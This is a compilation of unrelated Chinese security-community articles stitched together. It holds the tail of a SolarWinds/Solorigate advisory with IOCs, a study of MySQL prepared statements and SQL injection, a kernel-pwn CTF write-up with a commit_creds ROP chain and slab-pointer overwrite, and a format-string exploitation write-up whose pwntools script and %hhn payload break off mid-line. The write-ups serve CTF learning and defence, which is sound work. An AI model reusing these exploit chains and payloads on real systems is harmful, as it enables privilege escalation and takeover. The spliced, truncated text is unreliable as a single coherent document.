* 使用您的网络基础设施阻止IOCs中列出的已知C2端点。
* 请遵循身份联合技术提供商的最佳方法来保护您的SAML令牌签名密钥。对于Active Directory联合身份验证服务，请在此处查看建议：[保护ADFS的最佳实践](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/best-practices-securing-ad-fs "保护ADF的最佳实践")。
* 确保具有管理权限的用户遵循最佳做法，包括使用特权访问工作站、JIT/JEA和强身份验证。减少高权限目录角色（如全局管理员、应用程序管理员和云应用程序管理员）的用户数。
* 确保具有管理权限的服务帐户和服务主体使用安全存储的媒介（如证书）。
* 通过删除/禁用未使用或不必要的应用程序和服务主体来减少易受攻击的面积。减少对活动应用程序和服务主体的权限，尤其是应用程序（AppOnly）权限。
* 有关更多建议，请参阅[保护Azure AD标识基础结构](https://docs.microsoft.com/zh-cn/azure/security/fundamentals/steps-secure-identity "保护Azure AD标识基础结构")。
对于没有Azure Sentinel的客户，可以使用相同的检测逻辑来搜索[统一审核日志](https://docs.microsoft.com/zh-cn/microsoft-365/compliance/search-the-audit-log-in-security-and-compliance?view=o365-worldwide "统一审核日志")（UAL）：
* [异常的Azure Active Directory PowerShell行为](https://github.com/Azure/Azure-Sentinel/pull/1442/files "异常的Azure Active Directory PowerShell行为")
* [修改的域联合身份验证设置](https://github.com/Azure/Azure-Sentinel/pull/1443/files "修改的域联合身份验证设置")
* [添加到OAuth应用程序或服务主体的新访问凭据](https://github.com/Azure/Azure-Sentinel/pull/1381 "添加到OAuth应用程序或服务主体的新访问凭据")
### IOCs
**命令与控制**
|
---|---
avsvmcloud[.]com | Command and Control (C2)
**SolarWinds.Orion.Core.BusinessLayer.dll的恶意实例**
SHA256 | File Version | Date first seen
---|---|---
32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 |
2019.4.5200.9083 | March 2020
dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b |
2020.2.100.12219 | March 2020
eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed |
2020.2.100.11831 | March 2020
c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77 | Not
available | March 2020
ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c |
2020.4.100.478 | April 2020
019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134 |
2020.2.5200.12394 | April 2020
ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6 |
2020.2.5300.12432 | May 2020
a25cadd48d70f6ea0c4a241d99c5241269e6faccb4054e62d16784640f8e53bc |
2019.4.5200.8890 | October 2019
d3c6785e18fba3749fb785bc313cf8346182f532c59172b69adfb31b96a5d0af |
2019.4.5200.8890 | October 2019
* * * | 社区文章 |
## **写在前面**
众所周知，预编译是解决sql注入的一个很好的方案，但是预编译在现实使用中却有着很多有趣的细节需要研究下。在没有经过实验之前，针对如下问题我也比较模糊，例如：
1、Mysql预编译和模拟预编译有什么不同？哪种方式理论上更加安全呢？
2、PHP中链接数据库Mysqli接口与PDO接口默认采用哪种方式进行预编译？
3、Python中MySQLdb又是默认采用哪种方式进行预编译？
4、程序采用Mysql数据库预编译方式，转义环节是有客户端(PHP、Python、Java)完成的，还是由服务器端(Mysql数据库)完成?
本文将对上述这些问题进行分析
## **Mysql预编译和模拟预编译**
首先介绍下sql预编译和模拟预编译的区别之
### sql预编译
以mysql数据库举例：通常情况下，在数据库接收到一条普通的
SQL语句后，首先对其进行语义解析，随后对此条SQL
语句进行优化并制定执行计划并执行；当采用预编译操作时，首先将待执行的SQL
语句中的参数值用占位符替代。当带着占位符的SQL
语句模板被数据库编译、解析后，再通过向占位符绑定参数进行查询操作。
反观Sql注入的根源，是在本应该传递参数数据的地方，
传入了精心构造的sql语句。而经过预编译操作之后，无论后续向模板传入什么参数，这些参数仅仅被当成字符串进行查询处理，因此杜绝了sql注入的产生
接下来看一下预编译在mysql数据库中如何操作
首先，我们可以通过 PREPARE stmt_name FROM preparable_stm
语法来预编译一条sql语句模板，如下图：
接着通过set来绑定参数 ，如下图：
最后通过EXECUTE stmt_name [USING @var_name [,
@var_name]...]的语法来选择编译好的stmt_test模板以接收name参数并执行查询，如下图：
通过查看mysql日志可以发现，与执行普通sql语句使用的query命令不同，这里使用了prepare命令与execute命令，见下图
当后续使用同一模板不同参数值(不同的name值)进行查询进行查询时，例如下图：
这里查询name值为”othername”的列，由于这里使用的仍是经过prepaer的stmt_test模板，程序将使用先前存储于缓冲区预编译后的模板进行解析，而不需要再次通过prepare，见下图
上图中可见，预编译可以实现一次编译、多次执行，省去了解析优化等过程。
在实际操作中，当客户端在与mysql数据库通信时，为了表明当前请求消息的类型，会发送命令请求报文，报文格式如下图所示：
通常情况下，如果简单的执行sql语句，数据包中会使用类型值为0x03的COM_QUERY消息报文，见下图
而在使用预编译功能时，则会使用类型值为0x16的COM_STMT_PREPARE进行预编译并使用0x17进行执行，见下图
上图中22对应十六进制的0x16 COM_STMT_PREPARE阶段
上图报文中23对应十六进制的0x17 COM_STMT_EXECUTE阶段
### 模拟预编译
模拟预编译是防止某些数据库不支持预编译而设置的(如sqllite与低版本mysql)。如果模拟预处理开启，那么客户端程序内部会模拟mysql数据库中的参数绑定这一过程。也就是说，程序会在内部模拟prepare的过程，当执行execute时，再将拼接后的完整SQL语句发送给mysql数据库执行
有如下案例，这里使用PDO接口进行数据库操作
从上图代码中可见，使用prepare预编译sql模板，并通过bindParam进行参数绑定，最终通过execute进行执行，但这是否是真正的sql预编译呢？
我们可以看下mysql日志事实记录，如下
可以看到数据库日志中并没有prepare阶段与execute阶段。反而和执行普通的sql查询一样，简简单单的Query了PDO传递过来的sql语句
这是为什么呢？
正如上文所说：为了防止某些数据库不支持预编译而设置的(如sqllite与低版本mysql)，PDO默认使用的是模拟预编译而非mysql数据库预处理(本地预处理)。如果模拟预处理开启，那么客户端程序内部会模拟mysql数据库中的参数绑定这一过程。也就是说，程序会在内部模拟prepare这一过程，当execute方法执行时，再将拼接后的完整SQL语句发送给mysql数据库进行查询
PDO中通过PDO::ATTR_EMULATE_PREPARES参数控制所使用的的预编译模式，默认使用模拟预处理进行操作。详细的可见下图官网给出的说明：
模拟预处理并没有实现SQL模板与参数的分离，但的确可以防止sql注入。根据笔者查阅的资料显示：模拟预处理防止sql注入的本质是在参数绑定过程中对参数值进行转义与过滤,这一点与真正的sql数据库预处理是不一样的。理论上，sql数据库预编译更加安全一些。
## 接口默认使用方式
在介绍完模拟预编译与sql数据库预编译后，我们来看看哪些接口默认使用模拟预编译，而哪些接口不使用
### PHP-PDO
从数据库日志中可见，数据库通过query命令执行了一条简单的sql语句。很显然，默认情况下PDO使用模拟预处理
我们将设置PDO::ATTR_EMULATE_PREPARES为false，见下图
从日志中可见，这里明显有prepare和execute两个过程，显然在将PDO::ATTR_EMULATE_PREPARES设置为false后，使用的是mysql数据库预编译
### PHP-Mysqli
从上图可见：很显然这是一个sql数据库预编译过程。这说明mysqli与PDO不同，
mysqli默认使用的是sql数据库预编译而非模拟预编译
### Python-MySQLdb
从数据库日志中可见，数据库日志中只有query命令，MySQLdb默认情况下使用模拟预处理
### Python-Pymysql
同样，Pymysql也默认使用模拟预处理
### Python-Oursql
从日志可见：存在Prepare过程，这是一个sql预编译过程，Oursql使用的是sql数据库预处理。
然而奇怪的是，日志中只有Prepare过程，但是程序以及可以查询到数据。我们查看下流量，见下图
从上图可见，这里其实是有Execute过程的，但为什么数据库日志中不存在execute这条记录呢？
首先我们来看下这条Execute数据包，如下图
可见上图红框处，Flags为Read-only cursor
通常情况下，这里值为Defaults。据笔者猜测，数据库中没有这条执行日志可能与这个字段有关，感兴趣的同学可以自己研究下。
## Sql数据库预编译与转义
在查看数据库日志时可以发现：使用mysql数据库预编译时，在execute阶段，传入参数的特殊字符会被进行转义处理。见下图红框处
这个转义，是在对应的客户端中进行的？
还是在mysql数据库接收到参数后，自行进行转义的？
通过抓取流量可知，见下图
客户端传递的参数，并没有进行转义处理。因此可知，转义操作是在mysql数据库上进行的
## 预编译可以完全杜绝注入攻击吗
使用sql数据库预编译，理论上可以杜绝sql注入攻击，但是也会有例外。
很久之前ThinkPHP5
曾有一个SQL注入漏洞。该漏洞简单来说，就是在预编译阶段即prepare阶段，sql语句的模板中参数名可控，导致的sql注入。具体的可以参见这篇文章
<https://www.leavesongs.com/penetration/thinkphp5-in-sqlinjection.html>
这次并不是通过参数注入payload，而是在sql模板生成时在参数名处拼接payload，在prepare阶段进行注入攻击。虽然在prepare阶段可以注入payload，但是这样的sql模板会引起mysql数据库的报错从而无法顺利执行到execute阶段。
然而在prepare阶段，仍然是可以执行部分payload的，例如下图demo
最终仍然可以通过报错进行sql注入攻击
可见：prepare阶段的sql模板如果可控，仍然是有注入风险的
## 参考链接
<https://blog.csdn.net/yanghuan313/article/details/70477360>
<https://www.leavesongs.com/penetration/thinkphp5-in-sqlinjection.html> | 社区文章 |
# 初见——从一道题入门kernel Pwn
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
初次做内核相关的题目，也算是为内核学习铺一铺路了，从一个新手的角度来看这道内核题目，简单介绍一下新手眼中的 kernel pwn
## 一、环境搭建
环境搭建始终都是绕不开的话题，其实题目环境相对于依赖较多的内核模块调试来说已经是一个很理想的环境了，但是这里还是要稍微补充一点点小 trick。
### 1\. 获取调试信息
题目中的 shell 权限通常来说都是低权限账户，当然要是直接是高权限账户也没必要来提权了，此时就会有两个问题
* `cat /proc/kallsyms` 低权限下拿不到具体的内核地址
* `cat /sys/module/[module name]/sections/.text` 低权限无法获取
说到底还是低权限的问题，此时来看仿佛遇到了死锁，题目肯定不会给你高权限shell，没有高权限shell就无法 cat 出对应的信息来进行调试。
解决办法其实就在 `init` 文件中，通常情况下题目都是自己编写的 kernel +
filesystem，因此需要有一个将题目ko文件自动加载起来的方式，也就是 `init` 文件。
这里简单介绍一下`init`文件正常的用途：是在自己编译完毕 kernel 后，打包好一个包含 busybox 的小型文件系统，在该文件系统中通过
`init` 文件来 mount 一些基本的目录。
题目中的则是用来 insmod 题目文件了，insmod 是需要高权限才能执行成功的，因此，我们可以在 `init` 文件中 insmod
行之后添加如下两行内容：
cat /proc/kallsyms > /tmp/kallsyms
cat /sys/module/sudrv/sections/.text > /tmp/sudrv
即可在题目启动后获取对应的信息来进行调试了。
## 二、知识点介绍
这道题目主要是抱着学习的态度来看的，因此在自己做之前就已经看了好几个不同师傅的wp，从wp中可以提炼出来这道题的知识点主要有以下几个
* 内核ROP
* cred提权
* 内核堆结构
* 用户态与内核态切换
下面分别对这些知识点进行一下介绍
### 1\. 内核ROP
该技术主要针对的是 SMEP 技术，即管理模式执行保护，主要作用是禁止内核直接访问用户空间的数据以及内核执行用户空间的代码，SMEP 针对的是
ret2user 的攻击手段（可谓道高一尺魔高一丈，每当一个保护机制的产生总会有绕过手段的出现啊）
检查 SEMP 开启的方法有两个：
* `cat /proc/cpuinfo | grep semp`
* 查看 qemu 启动脚本，包含如下内容即开启了 semp `-cpu kvm64,+smep`
内核ROP原理上同普通ROP比较接近，区别在于传参方式的不同，内核中传参通过寄存器而不是栈。
提权 rop 链结构如下：
|----------------------|
| pop rdi; ret |<== low mem
|----------------------|
| NULL |
|----------------------|
| addr of |
| prepare_kernel_cred()|
|----------------------|
| mov rdi, rax; ret |
|----------------------|
| addr of |
| commit_creds() |<== high mem
|----------------------|
实际执行的内容是 `commit_creds(prepare_kernel_cred(0))`，在内核中执行完毕上述代码后再用户层直接执行
`system("/bin/sh")` 即可获取 root shell。
寻找 rop gadget 可以从 vmlinux 中获取，可用工具有 ROPgadget 或 ropper 等 。
### 2\. cred 提权原理
**(1). cred简介**
在介绍提权原理之前，首先要知道 cred 究竟是什么东西。
每个线程在内核中都有一个描述该线程的 `thread_info` 结构，在 `thread_info` 中包含一个名为 `task_struct`
的结构体，这个结构体中就包含有今天的主角 `cred` 结构体，`cred` 结构体中主要用来保存线程的权限信息。
`task_struct` 定义于 `include/linux/sched.h` 文件中
struct task_struct {
...
...
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
...
...
}
整个 `task_struct` 定义足有700多行，这里仅截取和 `cred` 相关的定义，`cred` 结构体的定义如下
/include/linux/cred.h
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
**(2). 提权原理**
在 cred 结构体中，uid~fsgid 代表了当前进程所属用户、用户组等信息的 id 值，提权操作实际就是将 cred 中的这些字段覆盖为了 root
用户/组 的 id (0)。
通过溢出的方式进行exploit，通过 leak data 等手段定位到 `cred` 结构体之后，将 uid~fsgid 全部覆盖为 0 即实现了提权。
通过 rop 方式可在泄露 commit_creds 以及 prepare_kernel_cred 函数地址的情况下构造 rop 调用函数来完成对 cred
结构的修改。
### 3\. 内核堆结构
内核中存在三种内存分配器分别是 SLAB、SLUB 以及 SLOB。这三种内存分配器并不能同时存在，而是在内核进行编译的时候进行选择。`kmalloc`
请求内存时候就是由这三个内存分配器其中之一进行处理的。
在用户层 ptmalloc 将内存中各种堆块划分为 bins，内核中则为 slabs，当执行 `kmalloc`
函数的时候，内核会对请求的大小做向上对齐，并选取合适的slab进行分配。
需要注意的是在同一条 slab 链中的堆块(slot) 大小是相同的，且这些slot物理相邻，slab具有三种状态，分别是：
* 全部占用
* 全部空闲
* 部分空闲
题目中用到的 slab就属于全部空闲的状态。
通过 `cat /proc/slabinfo` 显示slab相关信息
`slabtop` 显示 slab 占用情况
题目中根据前后两个 slot 地址的差值可以算出来当前 slab 链为 kmalloc-64。
下图可以证实 slab 链中 slot 物理相邻的情况
为什么是 kmalloc-64 呢？在测试代码中，申请的size 分别是 0x30、0x40，0x30的向上兼容，自然就会都分配到 0x40 的链上了。
从调试结果来看，题目用到的 slab，kmalloc返回的指针指向的前8字节即下个堆块的地址，类似于 fastbin 的结构。
### 4\. 用户态与内核态切换
当编写 poc
所需要的信息都拿到的时候，就该开始着手写代码了，在写代码之前，首先要了解一个很重要的知识，就是用户态与内核态的切换，当发生系统调用、内核处理异常或中断时，会进入内核态，因为进入内核执行完一段代码后会导致寄存器等一些数据并不是用户态进入内核前的数据，因此在进入内核态之前需要保存用户态的现场，等内核代码执行完毕后返回用户态时再恢复现场。
保存用户态现场的代码如下：
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_status() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
## 三、题目简介
init 函数中注册了一个名为 `meizijiutql` 的设备，根据 `__register_chrdev` 的描述，需要注意的是最后一个参数
`const struct file _operations * fops`
`file_operations` 定义了对该设备各类操作的处理函数
这里仍存在的疑惑是，exploit的时候是调用了 `sudrv_write` 来进行用户数据到内核拷贝的，但是并没有找到对该函数的引用。
通过对 `sudrv_ioctl` 进行分析可以得到三个功能，分别是内核堆的分配、释放以及输出
在加上之前的 `sudrv_write` 即可凑齐完成漏洞的基本读写原语了，在用户层通过 `open` 打开 `/dev/meizijiutql` 后利用
`ioctl` 以及 `write` 来进行与内核模块的交互。
这里还存在一个疑问，`copy_user_generic_unrolled` 的定义
`[__must_check](https://elixir.bootlin.com/linux/latest/C/ident/__must_check)
unsigned long
[copy_user_generic_unrolled](https://elixir.bootlin.com/linux/latest/C/ident/copy_user_generic_unrolled)(void
*[to](https://elixir.bootlin.com/linux/latest/C/ident/to), const void
*[from](https://elixir.bootlin.com/linux/latest/C/ident/from), unsigned len);`
是有三个参数的，这里的调用仅有一个 `rdi` 作为参数，那么剩下两个参数去哪里了？
## 四、exploit
### 1\. 格式化漏洞怎么用？
在调试漏洞的时候可以直接获取到符号信息，以及其在内核中的实际地址，但是在远程环境中是无法获取的，因此需要利用格式化字符串漏洞泄露出两个关键的信息：
内核加载基址
栈地址
其中内核加载基址被用于 rop 链的构造，栈地址则用于控制流的劫持。
需要注意的知识点在于内核中打印地址需要使用 `%llx` 而不是 `%p`
断点下在执行 printk 之前，打印栈内的内容，单步执行后查看 printk 输出，首先通过 kallsyms 获取到当前内核加载基址
在 printk 输出具体内容之前查看栈上的内容，可以看到一个栈地址以及一个与内核加载基址相近的地址。
### 2\. rop 链分析，如何分配到栈上。
因为内核堆的结构类似于fastbin，那么可以通过溢出覆盖指向下个堆块的指针来完成从堆到栈的变换，此时就可以用上之前泄露出来的栈相关的内容了。
在初始情况下，内核中堆链如下：
此时查看内存结果如下，可以看到 `ee40` 的堆块指向的是 `ef00` 的地址，`ef00`堆块的头部为全零，即该堆块为当前链中的最后一个堆块。
而当对该堆块调用`sudrv_write`进行写入后，再次查看即可发现，本来 `ef00` 开头处为0的8个字节被覆盖为了指向栈上的指针。
当内核执行完kmalloc后，会将next slot的地址保存在全局变量中，因此第二次kmalloc会分配到`ef00`处的堆块。
`ef00`堆块处我们需要的仅仅是让其 next pointer 指向栈上，因此此处可以随意填充数据。
当第三次kmalloc的时候，就成功将堆块分配到了栈上。
下图为分配前栈上内容
下图为分配后栈上内容
### 3\. rop 链分析，一个小坑。
在编写rop链的时候，在调用 `commit_creds` 的时候，出了点自己无法理解的问题，直到调了rop链之后才知道还能这么玩。
首先是平平无奇的对着官方wp照猫画虎，找到了这样的一条指令：
配合着 `pop rbx;` 将 `commit_creds` 放到了 `rbx`
中，跑了一遍发现有问题，遂调试rop，然后就发现了这个有意思的情况：本来应该是 `call rbx` 的指令，变成了一个 `jmp` 加 两个 `call`
的代码串，在两次 `call` 之后，栈指针发生了变化，指向比正常rop地址减8（即rop链中commit_creds的下一个gadgets）
此时就体现出了官方rop中的 `pop rdx` 的作用，将本来应该放入 `rbx` 的 `commit_creds` 变为 `pop
rdx`的地址，就完成了栈的平衡，`pop rdx`后的 `ret` 刚好调用到 `commit_creds` 函数。
### 4\. rop 链
往栈上写数据的函数为 `sudrv_write` 当栈数据被覆盖后，该函数执行到 `ret` 指令后就会跳到我们所布置的rop链上。这里每次调用
`sudrv_write` 的时候栈位置都是相同的，因此可以直接使用之前泄漏出来的栈地址来进行rop。
此处执行完毕`pop rdi`后就进入到了`prepare_kernel_cred`的调用中。
此处的rop链中并不是直接将 rax 的数据传入到 rdi 中，而是利用 r12 进行了一次中转，这里主要是因为在ropgadgets
中没有这两个寄存器的直接传输指令。
调用完毕 `commit_creds()` 后执行 `swapgs` 开始恢复用户空间的寄存器。
一切恢复完毕后回到用户空间，此时就又引出了另一个问题，为什么要用 SIGSEGV 信号处理函数来 get
shell，当我没有添加处理函数时，返回用户空间后会造成 segment
fault，这里主要原因在于没有很好的恢复用户层执行上下文，导致程序崩溃，但是做题过程中不一定非要完美的恢复上下文。
因此此处只要增加上 `signal(SIGSEGV,[your handler])` 调用即可 get root shell。
## 参考链接
<https://team-su.github.io/passages/2019-08-22-SUCTF/?nsukey=3hbB1nNVK8IOJb1BedTGPG2ZmZsVZwVxyHIoT%2BEaiqr7iGJc9ZxKpkPOIMSxOhBkNTwNVpDNWGQLpvROOeYEjivFGK8y36eLHC4EWM1RB6w0%2Fpe%2Bae%2BPfkEStMCcErpksCMm9FzZmL5no%2FsFtcPnBucUAgZ8f%2B4IMJ2r45IUfrZFUWlCIwxLg2RXbyUds%2FuwJYg8AYKcd%2BY%2ByypJBBB5XA%3D%3D>
<https://www.anquanke.com/post/id/204319>
<http://xiaoxin.zone/2020/07/28/2019-suctf-kernel-sudrv/#toc-heading-8>
<https://www.jianshu.com/p/9d1fcf0304fa>
<https://xz.aliyun.com/t/2054>
<https://www.povcfe.site/posts/kernel_rw1/>
<https://blog.csdn.net/weixin_43889007/article/details/109499534>
<https://blog.csdn.net/seaaseesa/article/details/104591448>
<https://argp.github.io/2012/01/03/linux-kernel-heap-exploitation/> | 社区文章 |
直观上看，有两处漏洞显而易见，一处打印内存数据的漏洞和一处格式化字符串漏洞。但是该题开启了多个保护，使得漏洞利用变得比较困难，尤其是在字符串格式化函数后面紧跟着就是exit函数，一眼看上去基本没有可以利用漏洞进行代码执行的机会。
要成功利用漏洞，需要依赖两个技巧，一个是覆盖__kernel_vsyscall来实现控制程序流程的目的，覆盖后我们将无法再调用系统函数了，然后就得结合ROP技术，并最终利用中断来获得SHELL。
一、漏洞以及保护措施分析
漏洞程序下载地址：链接: <https://pan.baidu.com/s/1eRPSUiQ密码>: mx1p
首先通过IDA，查看漏洞程序的C伪代码，看到两个漏洞利用点:
int do_read()
{
_DWORD *v1; // [sp+8h] [bp-10h]@1
int v2; // [sp+Ch] [bp-Ch]@1
v2 = *MK_FP(__GS__, 20);
v1 = 0;
puts("Which address you wanna read:");
_isoc99_scanf("%u", &v1);
printf("%#x\n", *v1);
return *MK_FP(__GS__, 20) ^ v2;
}
这个函数可以打印任意地址的内存数据。
void __noreturn leave()
{
signed int i; // [sp+8h] [bp-B0h]@1
char s[160]; // [sp+Ch] [bp-ACh]@1
int v2; // [sp+ACh] [bp-Ch]@1
v2 = *MK_FP(__GS__, 20);
memset(s, 0, 0xA0u);
puts("Good Bye");
for ( i = 0; i <= 158; ++i )
{
if ( read(0, &s, 1u) != 1 )
exit(-1);
if ( s == 10 )
break;
}
printf(s);
exit(0);
}
这个函数读入数据，并且进行格式化字符串的操作，存在格式化字符串漏洞。但是在格式化完毕后会直接退出程序。
这时在看看漏洞程序开启的保护措施如下：
开启了RELR0使得我们无法通过覆盖GOT表来控制程序，开启了NX使得无法在栈上执行代码。没开启PIE 这样代码段的加载基址是固定的。
根据漏洞信息和开启的保护措施的情况，我们现在能做的就是可以打印libc里的函数地址。由于提供了libc.so因此同时也可以得到LIBC的加载基址。
通过IDA可以看到printf函数对应的got表地址是0x8049fc8如图：
0x8049fc8 对应的10进制数是134520776，这时我们编写代码如下：
#!/usr/bin/env python
from pwn import *
import pdb
context.log_level = 'debug'
p = process('./ep')
elf=ELF('./ep')
p.recvuntil('Which address you wanna read:')
p.sendline('134520776')
p_addr=p.recvuntil("\n")
p_addr=p.recvuntil("\n")[2:-1]
p_addr=u32(p_addr.decode('hex')[::-1])
print hex(p_addr)
libc_base_addr=p_addr-0x49c80
print hex(libc_base_addr)
执行后得到了printf函数在libc空间的地址，也得到了libc库的基址如图：
格式化字符串漏洞可以导致任意地址写任意值，但是现在覆盖GOT表的方式已经无效了，那么该如何控制程序流程呢？
二、 漏洞利用技巧之覆盖 **kernel_vsyscall
在执行完leave()
函数里的printf函数后，直接进入了exit()函数，我们在该函数处下断，跟进exit()函数发现最终会调用sysenter来实现exit如图：
F7跟进call有如下代码：
Call调用后面跟的是地址的地址，也就是说内存某处有个地址存放的是0xb7760cdc，实际上存放0xb7760cdc的地址就是**kernel_vsyscall的地址，如果覆盖这个地址指向的内容，那么程序在进行系统调用的时候，就可以被我们控制。那么
**kernel_vsyscall的地址是多少呢？
既然这个地址存放的内容是0xb7760cdc，那么我们可以在IDA里按字节搜索一下，如图：
可以得知**kernel_vsyscall的地址为0xb75d78e0，实际中还有两处也可以搜索到这个数据，但是实践证明都不是
**kernel_vsyscall的地址。这样我们可以利用这个地址和printf函数地址的偏移，来定位其真实地址。并且这个偏移和操作系统的版本有关。
到目前，如果我们利用格式化漏洞把**kernel_vsyscall覆盖后，执行call gs:10h时
程序就会跳转到我们指定的地址去执行代码。实际调试的时候发现，在执行printf函数的过程中也会进行系统调用执行sysenter，也就是覆盖了
**kernel_vsyscall后，还没有到exit的时候，中途已经有多次执行**
kernel_vsyscall了，如果不能很好的控制和布局数据，程序流程会出现意外的情况而终止。
为了调试方便，我们需要在格式化写地址的位置下断，然后再到我们覆盖的新地址处下断来观察堆栈数据布局，然后安排程序执行流程。
这里我们先利用格式化漏洞给0x41414141地址写数据，由于地址不可访问，中断如下：
中断在0xb76490ed，后面我们就可以每次在这个地址下断点，观察
**kernel_vsyscall是否被成功覆盖，然后在覆盖后的新地址下断点，观察数据布局。因为地址随着进程重启都是变化的，我们需要根据printf泄露的地址来进行准确定位，本机中相关偏移如下：
syscall_exit_talbe :p_addr-0x4a3a0
break point:p_addr-0x5ba0+0xd
现在我们以单字节0xee覆盖**kernel_vsyscall的一个字节，这样执行系统调用后会直接跳转到原 **kernel_vsyscall末尾pop
ecx;retn处，此时中断后堆栈数据如下：
可以看到此时esp=0xBFC6C784 我们格式化字符串传入的数据在0xBFC6C834处，两者相差0xb0。如果我们能找到一条指令比如retn
0xb9,然现在的eip指向此指令，那么执行后栈地址就会加0xb9，下次再次retn的时候就可能跳转到栈上我们布局的地址处去执行代码。
利用工具ROPgadget搜索如下：
ROPgadget --binary libcmy.so >rx1
grep " ret 0xb" rx1
此时我们就用ret
0xb9指令所在地址覆盖**kernel_vsyscall，就可以达到抬高栈的目的了。rop_addr=libc_base_addr+0x0011b9d2#0x0011b9d2
: ret 0xb9。
同时我们观察到__kernel_vsyscall地址的最高字节和其他地址一样都是0xb7，我们只需要覆盖其后面的3个字节就可以了。
为了避免格式化大量长度数据，这里我们一个字节一个字节覆盖，payload如下
payload=p32(syscall_exit_talbe)+p32(syscall_exit_talbe+1)+p32(syscall_exit_talbe+2)
payload+='%.'+rop_addr1+'d%7$hhn'
payload+='%.'+rop_addr2+'d%8$hhn%.'+rop_addr3+'d%9$hhn'
其中：
rop_addr1= (rop_addr&0x000000ff)-0xd #取rop_addr从低位取第一字节
rop_addr2=0x100+( (rop_addr&0x0000ff00)/0x100 )-rop_addr1-0xd #取第二字节
rop_addr3=0x200+( (rop_addr&0x00ff0000)/0x10000 )-rop_addr2-rop_addr1-0xe#取第3字节
因为我们是一个字节一个字节覆盖，如果rop_addr2小于0，那么覆盖第二字节就会失败，经过反复思考后，发现既然覆盖的是一个字节长度，那么让其加0x100就可以保证低字节正确覆盖了。
三、 漏洞利用技巧之巧用中断int 80h
此时我们就可以利用栈上的数据进行ROP了，但是问题来了，__kernel_vsyscall被覆盖后，我们无法再正常执行任何系统函数了。下面我们就来看看如何通过int
80h获得SHELL。
首先我们来看看system函数是如何执行SHELL 的，跟踪libc发现如下代码：
调用的最底层的是execve函数，再看看execve函数的调用参数如下：
1. #include<unistd.h>
2. main()
3. {
4. char *argv[ ]={"ls", "-al", "/etc/passwd", NULL};
5. char *envp[ ]={"PATH=/bin", NULL}
6. execve("/bin/ls", argv, envp);
7. }
其中 argv, envp 都可以为0.再看看execve函数的反汇编代码如下：
可以看到edi为第一个参数， ecx,edx分别为后两个参数，然后通过给
eax赋值中断向量0x0bh，最后进入sysenter执行系统功能，通过查找资料，了解到此时直接执行int 80h也可以达到同样的效果。
为此我们写一段asm 测试，代码如下：
section .data
msg db "/bin/sh",0x0
len equ $ - msg
section .text
global _start
.
_start:
;write our string to stdout
mov eax,0xb
mov ebx,msg
mov ecx,0
mov edx,0
int 0x80
;and exit
; mov eax,1
; xor ebx,ebx
; int 0x80
编译并执行 如图：
nasm -f elf32 execve.asm (linux是32位的，如果是64，请使用elf64)
ld -s -o execve execve.o
./execve
如上图，可以成功SHELL 。于是我们现在就要开始ROP了，找到gadget使得ecx ,edx都为0 使得eax
为0x80使得edi为字符串”/bin/sh”的地址，再找一个gadget执行int 80h 就可以SHELL 了。
通过神器ROPgadget 在libc.so里我们找到如下指令：
0x000e6d32 : pop ecx ; pop ebx ; ret //从栈里pop一个ecx使最高字节为0x07
0x000196d7 : add al, ch ; ret //观察到当时eax为0x4 通过这两条指令让eax变成0xb
//edx 赋值0;把libc里的/bin/sh地址从栈里pop赋值给edi
0x000176a2 : xor edx, edx ; pop esi ; pop edi ; pop ebp ; ret
0x000795c0 : mov ecx, edx ; rep stosb byte ptr es:[edi], al ; pop edi ; ret //ecx =》0
0x0002a755 : int 0x80 //执行中断
到此我们所有的问题都解决了，完整的EXP如下：
#!/usr/bin/env python
from pwn import *
import pdb
context.log_level = 'debug'
p = process('./ep')
elf=ELF('./ep')
libc=ELF('libcmy.so')
p.recvuntil('Which address you wanna read:')
p.sendline('134520776')
p_addr=p.recvuntil("\n")
p_addr=p.recvuntil("\n")[2:-1]
p_addr=u32(p_addr.decode('hex')[::-1])
#print hex(p_addr)
libc_base_addr=p_addr-0x49c80#
